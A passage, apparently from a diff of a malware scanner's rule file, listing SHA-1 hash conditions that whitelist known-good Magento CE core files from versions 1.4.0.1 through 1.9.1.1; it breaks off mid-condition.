app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "8c4b2e07d3f643e9a371772a7cf7b0ead9462270" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "95d8cc1b6a755466ed30d4a306a36d75ef1874f1" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Fieldset.php - hash.sha1(0, filesize) == "930af3e546e73fdd7ac82d53a8ccf618ce13316b" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Field.php - hash.sha1(0, filesize) == "40cf1134b4ff2088bab26b0d29902f4efe875456" or // app/code/core/Mage/Adminhtml/Block/Customer/Edit/Renderer/Region.php - hash.sha1(0, filesize) == "a9fbc4360285f686040a1fb42e19ae121ef37e1b" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - hash.sha1(0, filesize) == "cefa8a549ad1ddc4cac45725b83f7a7517041203" or // app/design/frontend/default/iphone/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "f890c4755c69dd318efde4620962b5edd816bc9e" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "3df4377b9682ef76344b5eacdc43acf6a6484e7a" or // lib/Varien/Autoload.php - hash.sha1(0, filesize) == "aebbeca270ebba508ac3a9e1c178a359006e8dad" or // lib/Varien/Data/Form/Element/Gallery.php - hash.sha1(0, filesize) == "16615eee0a74cde38b34767a777ce10dbe0dd7c9" or // lib/Varien/Data/Form/Element/Editor.php - hash.sha1(0, filesize) == "7832f3a823fe08c5494f5c42a964f49790fb86f2" or // lib/Varien/Data/Form/Element/Image.php - hash.sha1(0, filesize) == "c0c772d84c95e4737c4ac4849be4129e3e17447f" or // lib/Varien/File/Uploader.php - hash.sha1(0, filesize) == "b8734fb02aa55fb19bacc16e848b88681b29f493" or // lib/Zend/View/Helper/HeadScript.php - hash.sha1(0, filesize) == "8a7d49626f09ce662f3a4b2d7c5c2b63e3a0b849" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "c3363ec292bb5cb07ad938853030c127d2b6ef97" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "b5499e5b6ce9bf40b7428cb5d8ba75af73cf36f1" or // lib/Zend/Soap/Client.php - hash.sha1(0, filesize) == "063158d99db2cff6927ddb42d3b342c383f086bd" or // lib/Zend/Service/ReCaptcha/MailHide.php - hash.sha1(0, filesize) == "d97634b7981e003503949f09fa5296658bf29bf4" or // lib/Zend/Amf/Server.php - hash.sha1(0, filesize) == "ba5c8b927ccdfff1139ee6274d5cf6c9954bd706" or // lib/Zend/Session/Exception.php - hash.sha1(0, filesize) == "b3904d9bd5b510249b6607c13adec6aff159b3a4" or // lib/Zend/Date/DateObject.php - - /* Magento CE 1.4.0.1 */ - - /* Magento CE 1.4.1.0 */ - hash.sha1(0, filesize) == "c26d82fca7498e54640b615fabef8c4d45c6655d" or // app/code/core/Mage/GoogleCheckout/Block/Adminhtml/Shipping/Merchant.php - hash.sha1(0, filesize) == "72863ffa4faa9bb2dd735611afe1310c58aff7f4" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "21ba19ce0f50a4084301e8689f2f7cda2f971204" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "fcd994fe6f9c177e32d64f2dbc11344306da73d8" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "2164a2692f6a7d4a0fe1589b9e2822f3b51a0363" or // app/code/core/Mage/Core/Model/Convert/Profile.php - hash.sha1(0, filesize) == "b8435034f33e6261ae700052bf6fa9d8b0f821bd" or // app/code/core/Mage/Core/Model/Translate/Inline.php - hash.sha1(0, filesize) == "a59a390c12706e4aa74e1f91868c8773cfbbbd81" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Category.php - hash.sha1(0, filesize) == "640c7e18fc10ccb14b9b0fd2ff336f3894928cfb" or // app/code/core/Mage/Sitemap/Model/Mysql4/Catalog/Product.php - hash.sha1(0, filesize) == "91460799f6a9c6385e9878fd0a79624b8112d079" or // app/code/core/Mage/Directory/Model/Mysql4/Currency.php - hash.sha1(0, filesize) == "a61f87f2c29575ca5d31933daa9bb4e0c35cc7c5" or // app/code/core/Mage/Catalog/Block/Product/View/Options/Type/Select.php - hash.sha1(0, filesize) == "ec5cfd2435a4fb385d5fb3f43249618091d4b1f2" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "34c3ae9b10cc1e3dcd346406daad972de2a9f53a" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Fieldset.php - hash.sha1(0, filesize) == "f1d50bfd4dc8cf023bb2467928ee07b8ca277f1f" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Field.php - hash.sha1(0, filesize) == "04e7dc316cd70f8851e27d2f1ee094003c79191d" or // app/code/core/Mage/Adminhtml/Block/Customer/Edit/Renderer/Region.php - hash.sha1(0, filesize) == "75c0b78644517ab431cd2067aeb4c9b606fe5629" or // app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Options/Option.php - hash.sha1(0, filesize) == "3bb4df77cbfd37d70c24621a0e1819059bd06a74" or // app/design/frontend/default/iphone/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "2a78243468ee200ee3933d03fc2b52f375516b24" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "3133a72daf3fe6f51778fa89e07f7c7c07de9493" or // lib/Varien/Data/Form/Element/Editor.php - hash.sha1(0, filesize) == "5129a7555895007ecc2a1975fcd91cf2d0d8abe1" or // lib/Varien/File/Uploader.php - hash.sha1(0, filesize) == "e4269e6d47cbb5c606e916e1fcd80c1acc131e55" or // lib/Zend/Locale/Format.php - - /* Magento CE 1.4.1.1 */ - - /* Magento CE 1.4.2.0 */ - hash.sha1(0, filesize) == "47576a4be1d4f450436ceef01f4d76561b49c10f" or // app/code/community/Find/Feed/Model/Import.php - hash.sha1(0, filesize) == "b5503689bc6a42a1223019adfde7680b643bba92" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "428645582e2c32c01ce4fbed0efc865a86cc1ce1" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "2ed7f109642dbfec32434d722caea3ba919b78b1" or // app/code/core/Mage/GoogleBase/Model/Service/Item.php - hash.sha1(0, filesize) == "59eca17b433527c716e39a79c2a6624267039031" or // lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "aac39b74fe44c73becdbc55e1e13a07834f446ae" or // lib/Varien/Pear.php - hash.sha1(0, filesize) == "be6109e866f11177febd1a4adff8b8f15dcd7d4b" or // lib/Varien/Data/Form/Element/Editor.php - hash.sha1(0, filesize) == "382fb51970f59f803508285ee8d2c4a2616ecc73" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "9c0c57a9d2df145526cbde494e00f0798ec40379" or // lib/Varien/File/Uploader.php - hash.sha1(0, filesize) == "da6dbd6d8183b366dbf5ec1b4da8a064375452e3" or // lib/Zend/Session.php - hash.sha1(0, filesize) == "af5d43214068dd919d70a61b66fb4b1761957b24" or // lib/Zend/View/Helper/HeadScript.php - hash.sha1(0, filesize) == "4d80fe8363e9d04cb962d50b3d0d88f039673a0d" or // lib/Zend/Validate/File/MimeType.php - hash.sha1(0, filesize) == "11a78fc89381ba37849a82529b024c656d9025d4" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "7d086827328b7494bc490fb7206b3366d2c38e6f" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "63283e976d5fea1f63c18e8a6793b3a4ab9d71d4" or // lib/Zend/Soap/Client.php - hash.sha1(0, filesize) == "1e9a01653ac90098c876b77e97e3670589ec3787" or // lib/Zend/Serializer/Adapter/PhpCode.php - hash.sha1(0, filesize) == "d75195ee5082cf62a51e1055e421ee8d4a2143b8" or // lib/Zend/Amf/Server.php - hash.sha1(0, filesize) == "078401aeda210badab9ef4fc083a1b75292b2207" or // lib/Zend/Session/Exception.php - hash.sha1(0, filesize) == "29ab7310cee069c1f6d76b53ec66a9edbd723de9" or // lib/Zend/Date/DateObject.php - hash.sha1(0, filesize) == "20bf0974e247e157a44f3582ec075ea0d151e446" or // lib/Zend/Ldap/Converter.php - - /* Magento CE 1.5.0.0 */ - hash.sha1(0, filesize) == "ca04390be3a2fb9125cc190f85eb6dc1ec99166a" or // downloader/Maged/Connect.php - hash.sha1(0, filesize) == "d8521a4b500badf5608b9eefb1e7d4923d5c099c" or // downloader/lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "542d271f564aa019943e9b5c9e82ba752da3807b" or // app/code/community/Find/Feed/Model/Import.php - hash.sha1(0, filesize) == "ec386833ed576acee6a0cffae893d727b4fe20f5" or // app/code/core/Mage/ImportExport/Model/Import/Adapter.php - hash.sha1(0, filesize) == "fe81b3452d5224fa03d122348ebd25fd6cf2bfe2" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "7e847df572b49a30b533058488d47256243281c5" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "b8ec0477409e6a3cf29ef2f5a51dd18457630fc5" or // app/code/core/Mage/XmlConnect/Block/Adminhtml/Mobile/Form/Element/Image.php - hash.sha1(0, filesize) == "3e4338a076ef79058f5a069a7c07c8c14aae5655" or // app/code/core/Mage/Core/Model/Translate/Inline.php - hash.sha1(0, filesize) == "4d4913c1f71c8b77ce1748fc1ed2f9c7af26f0e9" or // app/code/core/Mage/Catalog/Block/Product/View/Options/Type/Select.php - hash.sha1(0, filesize) == "6409bc5c48b2676c7592c490363f8dbda40f8cb6" or // lib/Varien/Data/Form/Element/Image.php - hash.sha1(0, filesize) == "8bb683957e1d561f60a0c311f532543b16d70946" or // lib/Varien/File/Uploader.php - hash.sha1(0, filesize) == "87cf0da9bfefa24aa8984a902200cf3c073d57af" or // lib/Zend/View/Helper/HeadScript.php - hash.sha1(0, filesize) == "3686394c1369d3c95d2d4eb6e55af54f2c217edb" or // lib/Zend/Validate/File/MimeType.php - hash.sha1(0, filesize) == "51f42d5712d78d3949e625bdbb1164fa5df21f37" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "8fee7dddf97ee0020242555eb7b4a210ee0c5ddf" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "997e8decd0cd34c4a5740adb8a54ab1192227a72" or // lib/Zend/Soap/Client.php - hash.sha1(0, filesize) == "72077639b329556270e1cb8f67607e3a12818ecc" or // lib/Zend/Form/Decorator/HtmlTag.php - hash.sha1(0, filesize) == "168196bd79743a1726e6f9c51b8cded7f379071c" or // lib/Zend/Serializer/Adapter/PhpCode.php - hash.sha1(0, filesize) == "de086d6b6b7bd97c8cc02a5e71711625b5aa21f4" or // lib/Zend/Amf/Server.php - hash.sha1(0, filesize) == "1f44a0506e92fbc4b93f630f2d4e269144e34c98" or // lib/Zend/Date/DateObject.php - - /* Magento CE 1.5.0.1 */ - - /* Magento CE 1.5.1.0 */ - hash.sha1(0, filesize) == "1c1573c2f8fb87dc6d7fa4a86f9bed3966ab1559" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "e219e7d6a09ace697b471c1dff1e818a089e7bdb" or // lib/Varien/Data/Form/Element/Multiline.php - hash.sha1(0, filesize) == "1348243a2ef778d294f135f1eabd9b447a68276a" or // lib/Varien/File/Uploader.php - - /* Magento CE 1.6.0.0 */ - hash.sha1(0, filesize) == "7c7c0e823b7149758466ce1c46b31cc752098981" or // downloader/Maged/Connect.php - hash.sha1(0, filesize) == "f5355295887c7c920faec7a6649a3b0e501ed562" or // downloader/lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "0d90dfcdadc2385454d6989c89e5619284d06a22" or // app/code/community/Find/Feed/Model/Import.php - hash.sha1(0, filesize) == "ff8e400bbceefa8fb6ffdd7b6ca7c19424c3724c" or // app/code/core/Mage/ImportExport/Model/Import/Uploader.php - hash.sha1(0, filesize) == "0cc50b85016c0a281d463eaea15d9a60c8dde353" or // app/code/core/Mage/ImportExport/Model/Import/Adapter.php - hash.sha1(0, filesize) == "c7b1ac6cb88d57a1ecc9f1228530422418092734" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "6f04c753855b120250fb93c3f18120439bac61a3" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "3ec46431440bbdd6dc012ec88ba8b2abb254a07a" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "08cd39581eebdce66eba747d99564f92aecd81bb" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "73d6f4ad968b6597969a846607c7fc4951da21f8" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "faf6a7d584a991040910bc3c1b75b1b953749dac" or // app/code/core/Mage/Core/Model/Translate/Inline.php - hash.sha1(0, filesize) == "533d7cf5e90b1d7531d869a733c28a1d7b96c087" or // app/code/core/Mage/Sitemap/Model/Resource/Catalog/Category.php - hash.sha1(0, filesize) == "8df77b8fb1861b3a7d56dea614e329072170c4d4" or // app/code/core/Mage/Sitemap/Model/Resource/Catalog/Product.php - hash.sha1(0, filesize) == "c4fe77c103e8133560598cddd3f5b5d6d51000ef" or // app/code/core/Mage/Catalog/Block/Product/View/Options/Type/Select.php - hash.sha1(0, filesize) == "e7d5e027d6d8d5aed1b7e6e2bb9c4823a244d81c" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "13f835ff37292f0f9cc6cf291c2d2c0bf3c6584d" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "910a7ffd9e47fa7323afb954504e7f665959d0dc" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Fieldset.php - hash.sha1(0, filesize) == "9eddbdda8933a43af895db0198b11212ec0f9ca9" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Field.php - hash.sha1(0, filesize) == "ead5c7a448033fdad1d4a6703d4ffc3a46bd3b08" or // app/code/core/Mage/Adminhtml/Block/Customer/Edit/Renderer/Region.php - hash.sha1(0, filesize) == "35fca9cb6bce8e10563f014a74e6832055f374be" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "1881995b15ffff36404400667af328064456caba" or // lib/Varien/Pear.php - hash.sha1(0, filesize) == "a2c4546364372caac2b6565f6b74987df5e54e4e" or // lib/Varien/File/Uploader.php - - /* Magento CE 1.6.1.0 */ - - /* Magento CE 1.6.2.0 */ - - /* Magento CE 1.7.0.0 */ - hash.sha1(0, filesize) == "e37b356ab26b4d7acd052139f0ed063a4e242065" or // downloader/lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "a675fe32e519294e608a11e0e7ad26c6c0ee39e9" or // app/code/core/Mage/ImportExport/Model/Import/Uploader.php - hash.sha1(0, filesize) == "21396b418469673c1092f0ab94633f188d7baf15" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "dde0fd41aff7a751e69528f12eecdcb79261239a" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "948a6b886901cae250b4314f7ec1880b5bcd98ee" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "80b6306a8752dde8cebe44334f1c30e60509cae4" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "64c3885b5a8fc86af29bd6f08976d2da87727ddc" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "20a1cd0eb6f110bb98f35f2499614cb442959462" or // app/code/core/Mage/Sitemap/Model/Resource/Catalog/Category.php - hash.sha1(0, filesize) == "8b45c11270942e161b69e71e49e1595dc388ad8f" or // app/code/core/Mage/Sitemap/Model/Resource/Catalog/Product.php - hash.sha1(0, filesize) == "2af8367688d9131c9fb5c6c749f92d46dd216d3e" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "a81945dcfc4fcf2e464669f02fc03bc09b231420" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Field.php - hash.sha1(0, filesize) == "0b4971706ce32b91df9649f61c0dbe52fa3c025b" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "b665a86b2caabb9efcf1c2013268cae2ec52dae5" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "9f7c657e9cb4caeeef7fbdf7658bcb93fb7f504e" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "9e002eb833e32a1d8bf0e05b8f817d8e3788e6d3" or // lib/Varien/Autoload.php - hash.sha1(0, filesize) == "744c53013d70f0ef8d60a4e6ff532d50aba2c798" or // lib/Varien/File/Uploader.php - hash.sha1(0, filesize) == "53ad2d03a76e1460b5c0ce75b1bcee79d5f96e5a" or // js/tiny_mce/tiny_mce_jquery_src.js - hash.sha1(0, filesize) == "5d709e1db0c76651ff2e04084349b41ec8ac349e" or // js/tiny_mce/tiny_mce_prototype_src.js - hash.sha1(0, filesize) == "26684d59fecefd29796e1ce35b9c8fde4001f80d" or // js/tiny_mce/tiny_mce_src.js - - /* Magento CE 1.7.0.1 */ - hash.sha1(0, filesize) == "a5dce2ba92736f0d1e33769d697b1777ddbadd98" or // app/code/core/Mage/Adminhtml/Block/System/Config/Form/Field.php - - /* Magento CE 1.7.0.2 */ - - /* Magento CE 1.8.0.0 */ - hash.sha1(0, filesize) == "f4bfc9f458bdadf338482afddaa80530b1eb668f" or // cron.php - hash.sha1(0, filesize) == "78f63461659a1a430b9e95910e3ad40daee0d7c4" or // downloader/lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "47bc9993a2ae847ee1baded420bc864a9e2add82" or // app/code/core/Mage/ImportExport/Model/Import/Uploader.php - hash.sha1(0, filesize) == "2ea72c5b3160e44b1ab812e40a002fd3ffb47e01" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "6053ccb397bd3237772c950e0c926f852a3231ed" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "c5359f0b869bfc7d07d669dea5996fecdfb01ad7" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "444479b4ce40a0c8e592d68a87c971934008a245" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "90f041175c2cea0f0663afa30f588fe4dad5b123" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "87feb95a759d68eb37cbed972425276586ae02bf" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "51b39b52f31bd6376a99979ad1235ad1f5e4cb94" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "2e2be1472eafa5164fb0c5926942ca9bfe670d2f" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "f0cfbfa1652bc187ad818823d9021507aa483610" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "44034f3de404aff9ca5b4bd177814ccf1a488a91" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "58fe31ecb9fed1ea5e1ec6e5b9cbd7339000be21" or // lib/Varien/File/Uploader.php - - /* Magento CE 1.8.1.0 */ - hash.sha1(0, filesize) == "2a72c042ddf3151bc189a1a1abee570911e5b90f" or // cron.php - - /* Magento CE 1.9.0.0 */ - hash.sha1(0, filesize) == "beb8fa0b00d09fe07c4250b57638207d2baf58a9" or // app/code/core/Mage/ImportExport/Model/Import/Uploader.php - hash.sha1(0, filesize) == "e49b97bd3d87338e45952d3c14110f8c58ff2944" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "0845429e8d7ec4db23031fa8567712b620716ce3" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "030222d390a79416396528a36d00bd8782f42b44" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "c20d1956300ab8a7c7249327fad8460e26bfe5a4" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "57b95e9be59894c37bc07a8ef8ec90b9599c1b4b" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "882cf7e8f1edef0e29af45c97243918e41ac8ed8" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "d8cda57af7063c1727837dd8da9db48a67258126" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "1f80886d6860858d4b67d021c374a167a4452a9f" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "6e7249490d2717c9b8472fbd045c7603752bf09d" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "3edb4a845c40b7bd58a3c420c643fd1848d29a4a" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "56a365dec8f4871ff38b8d157557cd44c99a0f58" or // lib/Magento/Autoload/Simple.php - hash.sha1(0, filesize) == "257622b757cb7a54fd2ca5248e1a36ebcd804cc0" or // lib/Zend/Session.php - hash.sha1(0, filesize) == "6b5a32540833318714c783e546219d1ec7ff1d4c" or // lib/Zend/Tool/Project/Provider/Test.php - hash.sha1(0, filesize) == "0f4d1b153641f3e38355e7b6e77d2ef0795d502a" or // lib/Zend/Validate/File/MimeType.php - hash.sha1(0, filesize) == "d22c5d0518d02777887e16d52b8505aaa7f4165d" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "474e85d94ee74b3837b48ab9b0dcec24eb834974" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "8fa67d2a0a56159c7c45031d11fab3f8050c526d" or // lib/Zend/Soap/Client.php - hash.sha1(0, filesize) == "ca6aec4ee5075ab676dc0834beebb16671535650" or // lib/Zend/Service/WindowsAzure/CommandLine/Scaffolders/DefaultScaffolder.phar - hash.sha1(0, filesize) == "834db01a738509c1e104f97d5cd900c7b10d7205" or // lib/Zend/Service/WindowsAzure/CommandLine/Scaffolders/DefaultScaffolder/resources/PhpOnAzure.Web/resources/WebPICmdLine/Microsoft.Web.PlatformInstaller.UI.dll - hash.sha1(0, filesize) == "a635e99c23f43b460511a7017cbde6020bb100b9" or // lib/Zend/Serializer/Adapter/PhpCode.php - hash.sha1(0, filesize) == "843ff3ac422f19112c787b2ef63ae4e3341b6d16" or // lib/Zend/Amf/Server.php - hash.sha1(0, filesize) == "0c76cda5268b7c886f075491ab2e0857edf1f30c" or // lib/Zend/Date/DateObject.php - hash.sha1(0, filesize) == "08da1d6d302bd33f27081c3198ceeb6d902dfd00" or // lib/Zend/Ldap/Converter.php - - /* Magento CE 1.9.0.1 */ - - /* Magento CE 1.9.1.0 */ - hash.sha1(0, filesize) == "5cc804265e9d69991e22aa92c82663fd03b1e9b8" or // app/code/core/Mage/ImportExport/Model/Import/Uploader.php - hash.sha1(0, filesize) == "4866408493f2f83827ef0fd1d7fce1802d219cf3" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "5b534fb113a2a6e555bcb09d80576c8d92cc45f0" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "f3b3eceb9c06bc59f23387c462b7817480efe1af" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "3d560f39b99e47b72ede84e7d6ac69e198c22098" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "e782aee39e228d0fbb0bb894b740961c156eef5a" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "0c882e8ac2d88a395fc14da2b1eab649bf1be462" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "91135f179fdbee4ac3806abba6120db0b73e6dbc" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "07c71d2a531adb843589c60f42f940c4f3fe7dbe" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "71b10a4a0cd8956f30e5ce13a91e6bbd74fa5421" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "410f0ba42bc4ffa69cf140768352368a3d09f73a" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "6be0dccd49f9878749ef9a85963e7f8d75b4d40d" or // lib/Magento/Autoload/Simple.php - hash.sha1(0, filesize) == "a36be33cb14a5803bf0f4a6e188f6a0b16077853" or // lib/Varien/Autoload.php - hash.sha1(0, filesize) == "ad57a755258346b526d694d2bc515b4171d16ea7" or // lib/Zend/Session.php - hash.sha1(0, filesize) == "9d370bde321e7d936025773e0b3a8f7f01882f67" or // lib/Zend/Tool/Project/Provider/Test.php - hash.sha1(0, filesize) == "62f77a3c4e2ea1ce8d00fe62a8065c3c2a892118" or // lib/Zend/Validate/File/MimeType.php - hash.sha1(0, filesize) == "b8b3dbb3fb548a70b7ffb249862cb20c2e8826eb" or // lib/Zend/Locale/Format.php - hash.sha1(0, filesize) == "f2c2a12241d8d571acafeb4ddfb7920c4b41ce9b" or // lib/Zend/Locale/Data.php - hash.sha1(0, filesize) == "761b8134d057822aebd9b25599759593a62b59a8" or // lib/Zend/Soap/Client.php - hash.sha1(0, filesize) == "32a5acd82a2e9163ca05a125c359e7f751ae55f3" or // lib/Zend/Serializer/Adapter/PhpCode.php - hash.sha1(0, filesize) == "5699310fb6d6e827050e152f99a085b88b05e488" or // lib/Zend/Amf/Server.php - hash.sha1(0, filesize) == "8864eef8ceda89c902d033be651a9353e3cf5e73" or // lib/Zend/Date/DateObject.php - hash.sha1(0, filesize) == "ebe09e979a43c009fbea2d65ce01ab7941cfa49a" or // js/tiny_mce/tiny_mce_jquery_src.js - hash.sha1(0, filesize) == "f7ce9a2c3cddf03aa2069b3a4faaa4b4011a8571" or // js/tiny_mce/tiny_mce_prototype_src.js - hash.sha1(0, filesize) == "77abde98292c0e2ea60c3cb796f4eda512eaa575" or // js/tiny_mce/tiny_mce_prototype.js - hash.sha1(0, filesize) == "10de582f689b58d046d08da55fdfbf90c08524f5" or // js/tiny_mce/tiny_mce_jquery.js - hash.sha1(0, filesize) == "e4473407525b5d622aaaa3f626946c6ef3ce3c1a" or // js/tiny_mce/tiny_mce.js - hash.sha1(0, filesize) == "818d1825aef53ec014568c10181d75e88491f9d0" or // js/tiny_mce/tiny_mce_src.js - hash.sha1(0, filesize) == "9539b243cb405912b865b0db36b312a9fe44d510" or // js/tiny_mce/plugins/paste/editor_plugin_src.js - - /* Magento CE 1.9.1.1 */ - hash.sha1(0, filesize) == "1a5df06c6ba7b717825db8d55e2ad3db8c834637" or // cron.php - hash.sha1(0, filesize) == "abbd120b50f030bdd61e2ac14511d549cfac72f9" or // app/code/core/Mage/ImportExport/Model/Import/Uploader.php - hash.sha1(0, filesize) == "02bfd222251a3b35bff55c213a6e8126a2e60784" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Customer.php - hash.sha1(0, filesize) == "0c11c755b73650408655af02ea304786bbafbe9d" or // app/code/core/Mage/ImportExport/Model/Export/Entity/Product/Type/Abstract.php - hash.sha1(0, filesize) == "f8fcce0810ed8610fdc3d3dfa164d95835f84d93" or // app/code/core/Mage/CatalogRule/sql/catalogrule_setup/mysql4-upgrade-0.7.1-0.7.2.php - hash.sha1(0, filesize) == "3734e1824e4ad9f0516344427f4cc246ae00776a" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "5f65da3c0df60ac43befc42ea990639da9a89039" or // app/code/core/Mage/Core/Model/Layout.php - hash.sha1(0, filesize) == "947e91de8554856c73ade2a1c9e6fecb725a26d3" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "4079c07a1059350c4d1e5a0bd3ad955cc4d02738" or // app/design/frontend/default/iphone/template/catalog/product/view/media.phtml - hash.sha1(0, filesize) == "2b2d9c9ebe2144fe52d0e0be0cca17ea1285dbe7" or // app/design/frontend/base/default/template/customer/widget/dob.phtml - hash.sha1(0, filesize) == "45ea8b1dbffc1166987d889780fa9e990c02836f" or // app/design/adminhtml/default/default/template/notification/toolbar.phtml - hash.sha1(0, filesize) == "3b404a87888f839158b19e748c71bad0b0908605" or // lib/Magento/Autoload/Simple.php - hash.sha1(0, filesize) == "e810f8d584b0ad3e43d7ab15fda1c666a466df85" or // lib/Mage/Autoload/Simple.php - hash.sha1(0, filesize) == "da92179998e43536f4439c3fdc0eb51cc4db96b7" or // lib/Varien/Pear.php - hash.sha1(0, filesize) == "fb0b0bf5cef93f8c817dad5872ce245f3d96d32d" or // lib/Varien/Autoload.php - hash.sha1(0, filesize) == "782c7d8f1a2b06e5da59d0862766c6ba2b25f28e" or // lib/Varien/Data/Form/Element/Gallery.php - hash.sha1(0, filesize) == 